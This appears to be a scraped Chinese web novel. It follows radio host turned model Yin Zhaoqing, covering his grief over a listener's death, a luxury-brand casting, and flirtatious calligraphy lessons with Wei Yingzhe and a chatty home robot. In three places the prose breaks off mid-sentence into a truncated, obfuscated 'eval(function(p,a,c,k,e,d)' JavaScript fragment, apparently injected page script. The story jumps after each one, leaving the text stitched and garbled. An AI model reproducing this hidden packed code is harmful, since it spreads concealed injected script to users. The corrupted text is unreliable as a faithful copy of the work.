尹昭情掏出口袋的东西,用食指勾住钥匙圈,在手里转着这把开荷园月洞门的钥匙,出租屋的门锁发出滴一声,玄关鞋柜的感应灯亮起。 他走到全身镜前,打理一番有些凌乱的头发,脱掉外套随手搭在沙发背上,又从茶几置物盒里抽出来一个气球,坐在窗台边眺望夜景。 姥姥身体不好,尹昭情在戒烟。 将气球吹得又大又圆,几近爆裂,他才松开手,慢慢放气。 他有意无意朝魏英喆释放信号,对方察没察觉到不在他考虑的范畴。他只需要考虑,对方是否有在朝自己释放信号。 目前来看,这位小叔对他不能说是很喜欢,至少也能说是有点兴趣。 有兴趣就好办,成年人无非各取所需逢场作戏。 尹昭情处理亲密关系风格一向是“点到为止”。 因为他是电台主持人。 情天娃娃气象电台是深夜的情感类节目。他在任三年,一千多个日夜,每天播两个小时,连线过的听众没有一千也有五百。 夜晚会发酵人的情绪。 他上播后收到的连线大部分与感情有关,偶尔在一地鸡毛的狗血档里穿插工作或是学业上的烦恼,但绝大部分还是感情。 失恋,暗恋,久别重逢后的不敢靠近,热恋里忽然生出的疲惫与厌倦;困在漫长的暧昧里进退两难,各有志业后因异地被迫了断;有的人明明还爱但装作潇洒放手,有的人已经不爱却还维持体面的温柔。 听众的问题五花八门。细碎至消息该不该回复,语气该不该冷淡一些,最后一面到底要不要见,复杂至“他和他弟弟我都喜欢,可是选谁?”,“网上聊得不错,线下见面开房结果发现来的人是我上司怎么办”,“我和我老公的前女友不小心亲嘴了,这正常吗?”等等。 还有人会问他,为什么爱会变淡,为什么承诺会消失,为什么明明两个人谁都没有做错,最后还是走到了尽头。 夜色压在尹昭情身上,变成了电波。 白天大家都在忙碌,夜里压不住的情绪终于找到出口,而因为这是他自己选择的工作,所以尹昭情照单全收。 很长一段时间,情天娃娃气象电台的听众们深爱着他,依赖着他,信任着他。 FM107.1频道在他接手之前,濒临停播。他任职时第一次操控调音台,让导播把第一位申请连线的听众接入到频道内,听到的是一段呜咽,连线者在哭泣。 或许是尹昭情温柔耐心地询问他遇到了什么困难,打开了情绪发泄的闸门,对方嚎啕大哭,在断断续续的声音里结巴地介绍,说他叫小番茄。 小番茄是一名高三生,但因为说话结巴经常被学校的同学欺负。 他暗恋班上一位女生,偷偷往人家的抽屉里放了小蛋糕,结果被其他男同学看到,在他不知情的情况下,趁着午休时间往蛋糕里放了一只死蟑螂。 女生拆开蛋糕后尖叫出声,男生们起哄说看到这个蛋糕是小番茄塞到女生抽屉里的,周围也有其他同学附和,女生红着眼睛推倒小番茄,并要求他家长到学校面谈。 但小番茄只有一个酗酒成瘾的父亲,得知此事后二话不说把他打得皮开肉绽,也拒绝去学校调和。 当天晚上,小番茄听到了FM107.1电台,抱着死马当活马医的心情,进行了人生中的第一次连线。 尹昭情:“小番茄,你别害怕,我陪着你。十分钟可以吗?我陪着你发泄情绪。十分钟以后我们尽量冷静下来,好不好?不然明天眼睛会很肿哦。我先问你一个问题,等你觉得可以开口说话的时候再回答我。学校有没有监控?” 小番茄鼻涕眼泪一起擤,用了四分钟就哭声渐息,“有...有...有...有的,有的。” “小番茄,你明天去学校后,找老师申请调查监控怎么样?找到那群混蛋塞蟑螂的证据。你有和你喜欢的女孩解释吗?解释那其实不是你放的。” “我我我...我...我当时是..是想说的,但是我,我说话很慢...我要说的时候已...已经被推倒了...”小番茄一说到这件事又委屈得抽泣不止。 尹昭情:“原来是这样,没关系。如果你觉得你说不出口,或者不方便,可以试试写信给她。人们交流的方式有很多,不一定是声音,也可以是文字,甚至可以是手语。你觉得呢?你想试试吗?” 连线里的声音干净好听,和风琴一般悠扬,又带着落日熔金般的暖意,语调温柔缱绻,像靠谱的邻家哥哥。 小番茄愣了一会儿,“你...你...你相信我?” 尹昭情:“当然。” 小番茄:“为...为为为..为什么?” 连他亲生父亲都不相信他,一个素未谋面的电台主持人竟然相信他? 尹昭情:“因为你一定是受了很大的委屈,才会在凌晨一点零三分找到这样一个无名的电台,用你最不擅长的方式,和一个陌生人说出你的遭遇。” 尹昭情:“加油小番茄,如果学校不配合你调查这场校园霸凌,你可以来电台找我,我亲自去你们学校走一趟。” 小番茄抹着眼泪哽咽:“主..主持人哥哥,谢谢...谢谢你...” “你..你..你叫什么名..名字?” “我叫小情。”尹昭情笑道,“这里是情天娃娃气象电台哦,我会等着你的好消息的。小番茄同学,祝你的人生明日放晴。” “好...好...好的老大!”小番茄立刻变身成他的忠实迷弟。 次日晚上,尹昭情再次接到小番茄的连线。 所有参与这场恶搞的男生都被处分,小番茄将写好的信交给了女生,得到了对方的真挚道歉,两个人加上联系方式,约好周末一起去看电影。 小番茄在网络上分享了他在情天娃娃气象电台的故事,吸引了一大批听众来捧场,电台因此还上过新闻。 至此,FM107.1频道焕然一新,如同一颗冉冉升起的新星。 连续大半年,尹昭情都陆陆续续接到老朋友小番茄的连线,连线中他诉说青春期的悸动,以及和心仪的女孩交换礼物的青涩,还憧憬着能和对方考上同一所大学。 连他的抑郁症也在逐渐好转。 ——“祝你的人生明日放晴”成了情天娃娃气象电台的招牌,每个人来此寻求帮助的人都把尹昭情当成知己好友,将人生中最灰暗的故事、最晦涩的情绪说给他听。 为了感谢尹昭情,小番茄特地将感谢信寄到电台,偶尔还会在信封里放上明信片和手作小礼物。 有一天小番茄连线了FM107.1频道,接通的瞬间,他对尹昭情说:“...生日快乐!小情老大。” 这是小番茄说得最流畅的一句话,居然没有结巴。 尹昭情震撼不已,僵在原地,连控音台上的音量都忘记调节。 导播在室外给他打了个手势,控音台旁的LED屏幕上忽然出现一行字幕:THANK YOU。 谢谢你。 之后每次尹昭情在电台下播,LED屏都会放谢幕动画。这在电台成了一段传奇佳话,有人说,情天娃娃气象电台是镇台之作。 两周后,指考成绩公布。 指考相当于高考总考,结束后各大学准备公布录取结果。 尹昭情在电台等待小番茄的喜讯,上播等了三天,他收到私信,小番茄父亲告诉他,小番茄和女孩双双去世了。 车祸,抢救无效。 他耳朵嗡鸣,强撑着直到下播。 LED屏幕却弹出那句“THANK YOU”,尹昭情突然蹲在地上,呼吸不上来。 导播冲进演播室,外面的工作人员则冲进导播室,一窝蜂一窝蜂的人挤进来,脚步声和交谈声成了一串刺耳的“叮——”。 电台停播休整了一个月。 一个月后,尹昭情笑着复工,还是那句熟悉的开场白:“嗨大家好,我是FM107.1的主持人小情,听众朋友们喜欢喊我老大。特此提醒,你现在收听的是一档合法存在、但不一定有逻辑的电台节目。” 同事们很担心他。 “你怎么样啦?”,“休息好了吗?要不要再请一段时间的假期?”,“现在再重播电台,能保持之前的水平吗?” 尹昭情也问前辈们,“您有遇到过类似的情况吗?” 如果某位听众是你手下电台的灵魂人物,他和他恋人的故事构成了节目的基调,可他们以后再也不能和你进行连线了,你心情如何? 你抉择如何?理想如何?初心如何? 继续留在这里,还是换一个环境放松自己? “情啊。”老前辈叼着烟,站在走廊里,往外吐了一口烟圈,“我承认你是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我告诉过自己,不要全情投入,不要入戏太深。入戏太深容易受伤,受伤就会变得狼狈。”尹昭情坦然一笑,“开导别人也好安慰听众也罢,反正说辞大差不差,只要他们能发泄出来,我多背一些话术其实很简单。” 人和人之间往来,不论是谈论感情还是谈论别的,任何时候都要点到为止,点到为止才能及时止损。 把缘分暂停在露水上,这样不用负重。 “老师。”尹昭情忽然放下茶杯,单手撑在杯口,勾唇,狭长眼睛里的光芒攻击性十足,但也不乏好奇,“爱情一直就这样吗?” “哪样?” “普通,平凡,或者无聊?” 台长大笑:“是的,千篇一律,不值一提。但还是那么多人甘之如饴,你觉得是为什么?” 尹昭情皱眉。 台长:“是因为他们蠢吗?” “...不是吧。”尹昭情说。 台长:“本质上还是因为它能给人带来希望,带来愉悦。而你现在还年轻,你的人生才刚刚开始。” 他站起来,给了尹昭情一把伞,“外面下雨,路上注意安全。以后大红大紫了不要忘记回台南,给我带两瓶好酒。” 尹昭情真心实意笑了,起身鞠躬,接过伞,“绝对的。老师,谢谢您今天跟我说这些。那我走了?” “祝你的人生也能转晴。”台长和他握手告别。 “要不您还是祝我在遇到爱情的时候,能尽情去爱吧。”尹昭情开玩笑说。 “可以。”台长郑重,“尹昭情,祝你有朝一日能尽情去爱。” - 尹昭情打下拍卖后等待卖家发货,他先给沈欧包发了信息,说过两天会给他送一个礼物。 22岁曼妙继父:卧槽 22岁曼妙继父:老大你肿么这么好[星星眼] 情天娃娃:对的,我就是这么好[酷] 22岁曼妙继父:话说老大,我一直很想问你,你是台省过来的?我不太熟悉,你们平时讲话怎么讲? 22岁曼妙继父:你很机车诶。 22岁曼妙继父:这样? 情天娃娃:机车现在已经很少有人讲了,只有老一辈说 22岁曼妙继父:那一般说? 情天娃娃:真假,拜托,有够,确实,乱讲,幹,三小 情天娃娃:语气词的话,吼,啊?内,啦。这些都可以 情天娃娃:但我和朋友聊天的时候,偶尔会把“我”换成“偶”,这只是个人口癖,闹着玩的,不代表全体台南同胞 22岁曼妙继父:真假(≧ω≦),这条信息只有二次元の朋友才能看到内。一定要和我继续待在一起哟,不可以变成坏!现!充!啦!啊嘞?不喜欢这样的我吗?[失望的眼神],拜托,有够讨厌内!幹,呆胶布的,希望你能带着祝福魔法越来越好吼[爱心] “......” 情天娃娃:用得很好 情天娃娃:但是微信怎么拉黑你? 22岁曼妙继父:我错了。 22岁曼妙继父:言归正传,你给我的卡点变装+转场的视频我已经发布出去了,重新创建了一个账号在某社交平台上,猜猜现在数据如何? 22岁曼妙继父:小爆,目前2500赞 22岁曼妙继父:视频水平不错啊,谁剪的?我能八卦不 情天娃娃:不能??? 22岁曼妙继父:好的好的,那后续我帮忙发布就行了吗? 尹昭情回复一个是的,让欧包早点休息。 次日尹昭情被九点的闹铃叫醒,睡眼惺忪地用胳膊挡住眼睛,伸手摸过手机,看都没看来电人就接通:“喂?哪位?” 瑞贝卡淡淡:“恭喜,接到了职业生涯中第一个品牌邀约。” “一小时之内到公司。” 尹昭情腾地一下卷起身,黑发散在锁骨前,眼带惊喜。 “好的,谢谢卡姐,我马上就来。”尹昭情握住电话,冲进洗手间洗漱。 ———— —— 10.10 - 小区里种了桃花树,一到春天就醒,粉白花瓣落在尹昭情肩膀,他低着头在打车。 到京市没多久,尹昭情对环境十分敏感。天性使然再加上后天学习,察言观色、审时度势一向是他熟稔于心的技能。 小区门口栽种行道树,来往车辆很多,路边停靠着的也不少。 除了体型巨大的货车和几辆常见的比亚迪特斯拉,还有台库里南。 车窗贴了防窥膜,侧面角度无法看清里面是什么人。 京市豪车遍地都是,尹昭情不太在意,等他的滴滴司机来了,他跨步上车报了手机号。 车开出去十分钟,尹昭情手指随便滑动手机屏幕,抬头看了三次后视镜。 那台库里南始终保持着五十米左右的距离,跟在身后。 起初尹昭情以为是错觉,或者刚好顺路。然而通勤路上十字路口多,每个路口对方都没转弯。 “师傅。”尹昭情探头和司机说话,“我改了下车地点,您看一下。” “好的。” 滴滴师傅把他放在商场门口,尹昭情砰地关上车门,回头瞧着马路。 库里南一阵风似的从他面前掠过,速度太快,开车的大概只是司机,脸他倒是看清了,没什么记忆点,衣着打扮也简单。 而后座上一左一右坐着两个男人,五官什么样难以识别,只依稀有了个印象,发型都很精致,穿着不算新潮,气场成熟,年龄目测四十多岁。 尹昭情下意识想给荷园发个信息,刚点开对话框又犹豫了,最后作罢。他走进商场,从后门出来,在街边重新打车。 一番周折终于抵达风尚。 瑞贝卡和欧包已经在大堂等他,一个面色冷静,一个一直在转圈搓手,激动万分。 “老大!”欧包冲过来。 尹昭情跟他拥抱,瑞贝卡将两人拎到总裁办,电脑界面停留在一个宣传片。 “三天后现场面试。casting规模很大,名单里一百多号模特,竞争激烈。这次的品牌方是做国风的,看了你那套中式光影的模卡后立刻联系了我们。”瑞贝卡点了点鼠标,眼镜镜片折射一道严厉的光,“这是他们放在官网的广告。” 视频一共三分钟,瑞贝卡让他们来回看了五遍。 logo上写着“观止”二字,这是个新中式轻奢品牌,五年前走向海外,在国际上也小有名气。旗下有国风独立工作室,汉服线上和线下实体店铺,丝绸、香氛、腕表等奢侈品,且品牌上个月刚刚和知名手游进行联名,出了个专属皮肤。 “他们要什么样的模特?”尹昭情不由得问,“电商模特?” “不止。”瑞贝卡说,“他们都要。平面单品拍摄四位,主要是电商展示用。宣传大片两位,一男一女,长期合作,一季拍一组。形象代言人和发布会走秀也需要,但这和你没什么关系,你还只是新人。” “我给你的目标是拿下他们的宣传大片,你能做到吗?”瑞贝卡问。 尹昭情实话实说:“有点难。如果只是平面我很有信心,可是宣传片我之前从来没有接触过。” “难就对了。”瑞贝卡提了提眼镜,“不难我签你干什么?任何事情只有你敢想敢做才会成功。” 尹昭情微笑:“我只是说没信心,但没说不会成功哦。” “?”瑞贝卡扬眉,破天荒多看了尹昭情一眼。 她对这个新人的初印象很好,客观评价,外形条件简直是上乘中的上乘,以她毒辣老道的眼光反复审视,都能给其打上“出类拔萃”的标签。 可是模特这一行光有美貌其实也不够。 太多人起点漂亮,前途光明,但在某些活动上认识了人,一个月后就辞职订婚了。 每个人都有自己的选择,只要不后悔,瑞贝卡就尊重祝福。但从一个模特经纪人的角度来看,她签模特肯定要“长远”。 她需要既有野心又足够坚定的人,这样的人能带风尚重回巅峰,能打响亚洲男模的名号,对冲欧美主流市场。 尹昭情正合适。 等这样一个男模她等了六年。 “观止这个品牌我之前合作过。”瑞贝卡介绍,“他们老板自诩清流,眼光很高,不喜欢太俗气的模特。这三天你调整一下状态,三天后的casting是选平面模特的,选完他们才会公布宣传大片的要求。” “好。”尹昭情应下。 台步一练又是三天。 再回风尚,尹昭情把包装精美的小海景送给欧包,欧包抱住他的手臂以泪洗面,扬言要送他一栋楼。 新人模特没团队,瑞贝卡自己出钱包了车,一辆黑色商务车停在路边,三人收拾好东西后上座,瑞贝卡问:“之前是做电台的?” “对。”尹昭情回答。 “大学什么专业?” “学播音的。辅修过戏剧影视文学。” “我靠。”沈欧包惊奇,“老大,这么重要的事情你怎么不早说?在我心目中你的形象又变了。” “变什么样了?”尹昭情笑问。 “变得有文化了,风雅了,高岭之花了,不与世俗同流合污了。”沈欧包说,“我就说你怎么讲话和唱歌似的。” “你呢?大学是什么专业的?”尹昭情好奇。 欧包笑容神秘:“你猜猜?” “猜不出来,直接说。”尹昭情催促。 “俺是软工的。” “什么?!”尹昭情震惊,“那你怎么会来面模特助理?” “谁面助理了?!”欧包抓狂,“我本来是面试模特的好不好!我从小就梦想当模特!哎可惜原装配置还是差了。” 瑞贝卡唏嘘,捧着咖啡杯喃喃:“模特这一行还真是林子大了什么鸟都有。我当年读的可是犯罪心理学。” “什么?!?!”尹昭情和沈欧包双双抓住座椅扶手,肃然起敬。 前排司机适时插嘴:“巧了吗不是,我干会计被裁,现在出来跑车。” “......” 车内众人同时笑出声,商务小面包载着四条转行狗抵达观止总部大楼。 摄影棚内人满为患。 四面白墙,天花板上全是吊灯。 面试现场气氛严肃,一波波经纪人带进去一波波模特,但结果不尽人意。 总监亲自把关面试,皱眉看着模特,频频叹气,然后摇头,“下一个。” 终于轮到尹昭情。 他换好了品牌给的样衣,一款明制轻改的广袖长衫,主色冷灰青,外衫带水墨晕染和竹影。 他走进来时带起一阵轻风,风里夹杂极淡的清香,不知为何,周围叽叽喳喳的人安静下来,自觉给他让路。 “尹昭情?”总监直愣愣盯着他,手部动作机械性地翻资料。 尹昭情笑着点头。 旁边助理挡住嘴巴,在总监耳边说了句,“这是风尚的艺人。” 风尚的大名业内人尽皆知,总监了然,细细观察,并在电脑上点开了他们钟意的那组模卡。 人比照片还要好看,动态掌控得很好。 “唇膏唇釉擦了,我看看素面效果?”总监吹毛求疵道。 尹昭情照做,用指腹揉搓两下嘴巴,展示给桌后的几个人,开口却道:“没有涂。” 指腹干干净净,唇色依旧。 不是鲜艳浓烈的红,淡而自然,衬得他气色很好。 出乎意料的回答,配上他浓密长睫和缱绻风致的眼睛,使他的初次亮相摄人心魄。 总监心都打了个颤,因为这嗓音和五官不符。只看穿搭和气质,尹昭情明显是端庄风雅一挂,奈何嗓音清透甜美,言谈古灵精怪,有种百灵鸟在砚台上蹦蹦跳跳的感觉。 而他的脸可塑性很强,能留白,有余味,不张扬。正巧,观止品牌最不喜欢的就是过度欧美化的脸。 总监在评估表上打了几个勾,“进二轮面。妆造组再带他去换一套样衣。” 现场发出惊叹声。 因为这是今天第一个进二面的模特。 二面折腾了快两小时,一百多号模特最后被刷得只剩八位。 这一次的体验比先前好,尹昭情渴了有水,饿了有无糖燕麦垫肚子,都是欧包准备的,瑞贝卡则时刻关注摄影棚里的情况,和观止多方交涉。 直到晚上八点面试才结束,观止说明天下午两点前会出面试结果,他们内部还要再筛选。 尹昭情换了好几套衣服,做妆造时脖子还不能动,晚上回到家已然虚脱,冲进洗手间泡完澡,就立刻把自己摔在了柔软大床上,扑倒不起。 瑞贝卡在三人群内发了信息。 卡皮巴拉:观止那边给了最新的宣传片要求。 卡皮巴拉:硬性要求,男模必须是长发,长相秀气,身高182以上(最后这条吓死我了。好在有惊无险。) 卡皮巴拉:加分项,会舞蹈,或者会书法。 22岁曼妙继父:这啥加分项?? 22岁曼妙继父:俺们不是模特儿吗! 瑞贝卡:国风品牌就这样,形象很重要。宣传片是视频形式,要求当然比平面照高。既然给出这两个要求,说明他们的拍摄方案和这两点有关。 瑞贝卡:宣传片试镜是下周,所以我们最多还有七天时间 瑞贝卡:舞蹈还是书法,争取一键速成,选吧@情天娃娃 尹昭情思索片刻。 情天娃娃:书法吧?好歹我会写字,有基础 瑞贝卡:[ok] 瑞贝卡:我给你找个老师。好好练。 22岁曼妙继父:但是这样太辛苦老大了吧! 瑞贝卡:观止宣传片一季度一拍,重点面向海外,所以一季度一结算。而他们公司宣传片报价是平面报价的十六倍。 22岁曼妙继父:哦哈哈...老大我忽然觉得你辛苦一些也没什么的 情天娃娃:...好??? 观止在下午一点多给风尚发了合同。 “平面电商定你了。明天开始拍。”瑞贝卡在办公室吃泡面,把合同往尹昭情面前一推,“看看价格,我已经尽力给你争取到最高。” “谢谢卡姐。”尹昭情眼睛亮晶晶。 欧包凑过来:“多少钱啊多少钱啊?” 两人看清报价,对视,默契击掌。 签约后沈欧包作为助理是有分红的,他高兴地举起双手,转着圈出去了,恨不得昭告天下他的艺人是脸蛋天才。 瑞贝卡等尹昭情签完字,把合同收回去,整理好桌上的泡面桶,开口:“你的书法老师我给你找好了,晚上七点会联系你。” “好。”尹昭情问,“指导费贵吗?先生年纪多大?我需不需要带一点伴手礼拜访?” “大也没有很大吧。”瑞贝卡眼神飘忽了一瞬,咳了声道,“免费的,你认识。” “我认识?”尹昭情困惑。 “对。魏域的魏总。” “?” 尹昭情缓缓从椅子上站起来了。 他瞪大眼睛看着瑞贝卡,瑞贝卡假装很忙,低头在盖泡面盖。 见对方完全不敢和自己对视,尹昭情气笑出声,回味过来,“卡姐,这位老师真的是您自己找的?没有别的因素?” “哎呀。”瑞贝卡也举起双手,学着欧包的模样转着圈离开总裁办,只留下一句,“我不知道啊。” “...” 拜托... 怎么这样! 尹昭情觉得自己上当了。 他一直以为瑞贝卡是一名专业、成熟、稳重、严肃、老练、冷淡、从容的经纪人。 ...结果怎么这样! 怎么把贼船开过来了! 此刻办公室内除了他空无一人。他两手撑在桌边,脖颈发红,摆出最凶的表情握拳一敲。 - 高达几天没见尹昭情,开着宾利来风尚接人时态度可以用热情似火、膜拜救兵来形容。 “尹先生,这里这里!”高达挥手,“终于又见到您了。” “高伯伯好。”尹昭情朝他笑。 高达帮他拉开后座的车门,“我现在送您去香榧华府。” “我要带什么吗?”尹昭情钻进去又钻出来,脆生生问,“毛笔?还是宣纸?” “都不用。已经备好了。您只要人到了就行。”高达自豪地拍着胸脯,“我办事您放心。” 眼看拖延不得,尹昭情只好认命地靠在后座。 车内有熟悉的沉木香,高达开车时自觉地闭嘴,放了车载音乐给他听。 香榧华府环境雅致,尹昭情观察路线,记住了楼号。 高达给他刷了电梯卡,摁了楼层就欠身退了出去,笑着跟他道别。 站在门前低头整理好袖口和衣领,尹昭情点了一旁的门铃。 开门的是个机器人。 脑袋上两个天线,机械手臂十分灵活,深蓝色的灯泡眼扫描尹昭情,胸前的屏幕上弹出字幕,它手腕可以三百六十度旋转,说话时光滑脑袋上的天线还会兴奋地亮灯:“欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他不敢在别人家随便乱逛,来练字就练字,在书房稍微看几眼就收回视线。 尹昭情走到书桌前,拿起毛笔摩挲,这笔质量应该很好,狼毫,笔端一丝分叉都没有,崭新细韧,右手边一盘现磨的墨,黑中带润,光泽有层次感,气味淡淡化开,墨色沉而不死。 青石镇纸雕刻瑞兽纹样,压在宣纸上方。 魏英喆过来时身上的沉香慢慢包裹着尹昭情,他把字帖摆过来,里面十几种风格的字体,“挑一挑。” 大致翻几页,尹昭情选了瘦金体、小篆和行书。 “为什么选这三个?”魏英喆问。 “嗯?”尹昭情认真看字,“观止是国风品牌,面向海外市场重在宣传传统文化,品牌调性是‘留白’和‘文雅’,这三个柔中带骨,比较符合他们的风格吧。” 他说话不疾不徐,科班出身,语调适中,抑扬顿挫都把握得刚刚好,灯光透过他的发缝漏在宣纸上,光晕斑点灵动迷人。 魏英喆早在三年前就听说过尹昭情的事迹。 常去荷园,就能听见荷园里的人常常提起他。 上至老太太下至荷园的门卫,无一不对尹昭情赞不绝口。 别人口中的尹昭情孝顺礼貌,进退有度,聪慧机敏,韵若青松,那也只是口说无凭。 然而越是与之接触,越能印证,这些都是真的。 魏英喆不动声色:“如果要在这三个里选一个呢?时间紧迫,来不及都练。” 尹昭情想了想,“那就瘦金体吧。” “为什么?” “观止老板贺文是学院派出身,爷爷是美院教授,父亲经营画廊,母亲从事文化行业,夫人则学中国舞。他自己从小就被要求练字学画,毕业后创业从商,一直被诟病沾染了铜臭味,实则他骨子里是个叛逆又带着掌控欲的人,否则也不可能野心勃勃把观止推出国门。” “楷书太板正,行书太常见,草书太狂放,瘦金体正合适他这种不伦不类的雅性。” “而且瘦金体又叫帝王之书,代表一种审美主导权。” 魏英喆观察他神色,“调查过贺文?” 尹昭情弯起眼睛,承认:“是。” “开始吧。”魏英喆笑了,眼底不乏欣赏,“贺文钟爱瘦金体,小时候他爷爷不让他练,他会自己躲到车库去写。选它的确是捷径。” 这话信息量不小,尹昭情提笔试着在宣纸上方写了两笔,慢慢道,“小叔人脉还真的很广?” “点头之交,不算人脉。” “那小叔为什么帮我?总不会告诉我你真的想收我做书法弟子。”尹昭情调笑。 魏英喆顿道,“或许有一天你能成为我的人脉。” 尹昭情写到一半,讶异抬眸。 他眼睛里是吃惊,惊后笑意如棉花糖般化开,“抬举我了。” 不过这话尹昭情很喜欢,恭维也好假设也罢,平起平坐的感觉谁不喜欢? “我好像写不出字帖上的细线条。”尹昭情握着狼毫笔,手腕一停,侧头,黑发垂在胸前,“哪里有问题?” 魏英喆一怔。 他走过去,站在尹昭情身边,粗糙干燥的手忽然托住尹昭情的手腕。 怀里的人没有推拒。 若有若无的蓝风铃香萦绕着鼻息,魏英喆喉结一动,沉眸托着白玉般的手,教他怎么转折,怎么收笔。 室内安静。 尹昭情感觉到强壮有力的手臂禁锢着自己,后背贴上坚-硬的胸膛,右手被掌心牢牢裹住,一笔一划带领他在宣纸上留下墨金。 比起他刚才自己写出来的蚯蚓,这回的瘦金终于有模有样。 写了几分钟,魏英喆忽然一顿。 “怎么了?”尹昭情侧头。 两张脸近距离相对,尹昭情琥珀般的眼睛更加璀璨,脸上没有一丝瑕疵,状态极好,细腻白皙的皮肤是上好的羊脂玉。 魏英喆眉头轻拧,磁嗓有些发哑,“头发散了。” 尹昭情摸摸自己的发丝,也觉得练字时长发有些不便,他盯着魏英喆棱角分明的脸,笑,“那怎么办?” “叔叔帮我扎?” 书房门没关,小红豆端着温水进来,看到两人差点亲在一起的嘴唇和已经碰在一起的手,尖叫:“噫——!!” 尹昭情迅速收回手,错开一步拉开距离,接过水在舌尖润了润口腔。 魏英喆一记暴栗扣在机器人脑袋上,命令,“去拿皮筋。” “哦~”小红豆没有痛觉,深知这是雇主的肯定,闪着天线走了。 ———— —— 11.11 - 尹昭情坐在一把高背真皮椅上,双肩舒展放松。 柔顺的头发被一双大手托住,轻轻从胸前绕到脑后,重力和摩擦力交互,头皮传来酥-麻的感觉,尹昭情身体紧绷了一瞬。 只是一根黑色皮筋,成本价几毛钱都不要,小红豆选了个水晶托盘盛着,庄重地举着妆奁递到桌边,满眼期待。 “出去。”魏英喆一边给尹昭情扎小揪揪,一边赶小红豆。 小红豆叉腰走到门口,又回头扮了个鬼脸,“哼!” 室内安静下来,书桌上弥漫浓醇的砚香,魏英喆垂眸,手里是乌黑发亮的头发,轻柔顺滑,视觉上观感比之前更好,应该是保养过的缘故。 尹昭情身上每一个部位都是钱,如果走红,大概率还要买保险。 风尚把他培养得很好。 魏英喆莫名心情不错,尹昭情事业上顺风顺水,各方面都越来越好,他没什么好担心的。 散发清香的发丝摩挲过掌心,他用大拇指反复拨弄,低头不知道在想什么,尹昭情不得不开口:“好了吗叔叔?” “好了。”魏英喆收回视线,松开手,示意他起身。 尹昭情继续提笔练字,书法一向修身养性,很考验人的耐心,写着写着尹昭情内心格外平静。 他喜欢这种进入“心流”的感觉,一个多小时练下来整个人身心舒畅,神清气爽。 书房门被人打开,魏英喆端着一盘切好的水果进来,放在桌边。 “我看看。”他道。 尹昭情于是把旁边堆好的宣纸展开,上面全是他仿照字帖练的瘦金体,一开始不得要领马马虎虎,最后几张则明显熟练许多。 “辛苦了。”魏英喆说,“你很有天赋。” 尹昭情笑:“那我明天还来吗?” 魏英喆反问:“你想来吗?” 练字得循序渐进,况且书房里很多名家字帖,有些还是孤品级别,他作为艺术生是很感兴趣的。 “来吧。”尹昭情说,“我一定要好好练,拿下观止的宣传片。” “好。”魏英喆暗自松了一口气,“我让高达每晚七点去接你。” “想吃什么想喝什么可以发信息给我,我会备好。” 尹昭情道谢,魏英喆将他送到玄关附近,半人高的小红豆突然冲出来,紧紧抱住尹昭情的腿。 □*□ 尹昭情弯腰摸摸它的脑袋,安抚,“我明天还来的。” “不行不行,小红豆舍不得你。”它紧紧抱住人的腿,疯狂摇头,泪眼汪汪,“你留下来,我给你换新床单,我们家的床很大的,也有好几个客房,晚上你想打游戏还是看电影都可以,我马上给你下单游戏卡带,我们家各种视频软件会员都是五十年打上的!” 尹昭情听完它的话术,总觉得很像推销员。只不过推的是迷魂阵,是女儿国,是幽情谷。 他看向靠在不远处的魏英喆,对方完全没有要阻拦的意思,单手扣着红酒杯,直到尹昭情视线求助,才开口:“功能还不完善,应该是故障了。” “它以前也这样?”尹昭情微笑,“只要来了客人就会抱住大腿挽留?” 魏英喆一下直起身,“当然不会。” 停顿片刻,解释,“它的好感机制很复杂,程序员做了个屎山代码。” “可能不太巧,你正好通过了所有加分选项。” “所以它现在很喜欢你。” “不太巧吗?”尹昭情蹲下,牵住小红豆的手,“我倒是觉得很巧呢。宝宝,我明天七点准时来好不好?记得我要喝什么吗?” “...记得!”小红豆心都化了,一哄就好,自豪道,“温温的水!” “那我走了。”尹昭情朝它挥挥手,“拜拜小红豆。” “情情再见!”小红豆洪亮道,“明天一定要来哦!不来我会哭的!” 尹昭情已经拉开门,又突然顿住,他直直看向魏英喆,打了个手语,意思是叔叔再见。 魏英喆愣愣看着那串流利的动作,直到大门砰一声合上,电子锁落锁。 他坐回沙发,端着红酒好半晌没动。 “呵呵。”小红豆晃过来,讽刺,“你就不会向我学习一下,多和人家拉近距离吗?” 魏英喆看它一眼:“我已经在拉了。” 小红豆:“拉在哪里?” 小红豆:“你已经占了一个年纪太大的劣势了,你现在除了有点钱和有点权以外一无所有!” 恶语伤人六月寒。魏英喆脸色发青,气结于胸,没搭理它。 小红豆:“你要像我一样,给尹昭情全世界!” 由于它一直追着魏英喆重复这句话,最后魏英喆在将他强制关机和满足它的代码需求里,选择了后者。 “知道了。”魏英喆败下阵,“给尹昭情全世界。” “哇——”小红豆激动鼓掌,“撒花~” 这款家用机器人连接了室内所有电子设备,空调、冰箱、浴室、蓝牙音箱,什么都能调。小红豆正在给浴缸放水,魏英喆忽然道:“我发现我三天不见他心脏会很不舒服。” 小红豆检索到关键词,触发底层代码:“身体不舒服?要不要给您安排体检?我联系一下私人医生文森特先生。” 魏英喆:“我都说了你这个版本还不够好,智商太低。” “气死我了!”小红豆暴怒,“我宣布洗碗机罢工三天,我把电线拔了!” - 和观止签了平面合同后,尹昭情正式开始拍摄。 观止不愧是龙头品牌,钱多,棚内拍摄请了十多个摄影师,阵仗很大。 卡姐和欧包陪着尹昭情抵达拍摄地点,一个上午拍了二十套衣服,都是网店即将上架的换季新品。 瑞贝卡手段强硬,加上风尚在业内的口碑一向很好,看在尹昭情是个新人模特的份上,观止先给他打了款。 税后到手五个零,夜里尹昭情回到家,在官网逛了好久,最后挑挑拣拣,奖励自己一双新的鞋子。 拍摄并非站桩,要做妆造要换衣服,还要摆pose,有时候摄影师一句“感觉不对”,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 